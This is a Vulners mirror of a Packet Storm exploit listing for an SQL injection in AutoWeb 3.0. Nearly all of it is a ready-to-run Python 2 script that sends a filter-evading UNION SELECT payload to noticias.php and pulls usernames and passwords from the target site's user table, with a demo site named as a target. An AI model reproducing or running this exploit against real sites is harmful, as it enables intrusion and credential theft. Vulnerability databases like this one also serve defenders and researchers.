Lucene search
K

AutoWeb 3.0 SQL Injection

🗓️ 05 Oct 2014 00:00:00Reported by ZoRLuType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

AutoWeb 3.0 SQL Injection vulnerability details and exploitation in Python scrip

Code
`#!/usr/bin/env python  
#-*- coding:utf-8 -*-  
  
# Title : AutoWeb v3.0 (noticias.php id_cat) SQL Injection Exploit  
# Author : ZoRLu / [email protected] / [email protected]  
# Home : http://milw00rm.com / its online  
# Download : http://www.multdivision.com.br  
# Demo : http://www.cbnmogi.com.br  
# Other Vuln. : http://www.1337day.com/exploit/22697 / thks: Felipe Andrian Peixoto  
# date : 28/09/2014  
# Python : V 2.7  
# Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others  
  
import sys, urllib2, re, os, time  
  
if len(sys.argv) < 2:  
os.system(['clear','cls'][1])  
print " ____________________________________________________________________"  
print "| |"  
print "| AutoWeb v3.0 (noticias.php id_cat) SQL Injection Exploit |"  
print "| ZoRLu / milw00rm.com |"  
print "| exploit.py http://site.com/path/ |"  
print "|____________________________________________________________________|"  
sys.exit(1)  
  
koybasina = "http://"  
koykicina = "/"  
sitemiz = sys.argv[1]  
  
if sitemiz[-1:] != koykicina:  
sitemiz += koykicina  
  
if sitemiz[:7] != koybasina:  
sitemiz = koybasina + sitemiz  
  
vulnfile = "noticias.php"  
sql = "?id_cat=0x90+/*!12345union*/+/*!12345select*/+1,concat(0x3a3a3a,username,0x3a3a3a),concat(0x3b3b3b,senha,0x3b3b3b),4,5,6,7,8,9,10+/*!12345from*/+/*!12345user*/--"  
url = sitemiz + vulnfile + sql  
  
print "\nExploiting...\n"  
  
try:  
veri = urllib2.urlopen(url).read()  
aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri)  
if len(aliver) > 0:  
print "username: " + aliver[0][0] + aliver[0][1] +aliver[0][2]  
else:  
print "Exploit failed..."  
  
  
except urllib2.HTTPError:  
print "Security!"  
  
  
try:  
veri = urllib2.urlopen(url).read()  
aliver = re.findall(r";;;(.*)([0-9a-fA-F])(.*);;;", veri)  
if len(aliver) > 0:  
print "password: " + aliver[0][0] + aliver[0][1] +aliver[0][2]  
  
print "\nGood Job Bro!"  
else:  
print "Exploit failed..."  
  
  
except urllib2.HTTPError:  
print "Security!"  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2014 00:00Current
0.1Low risk
Vulners AI Score0.1
23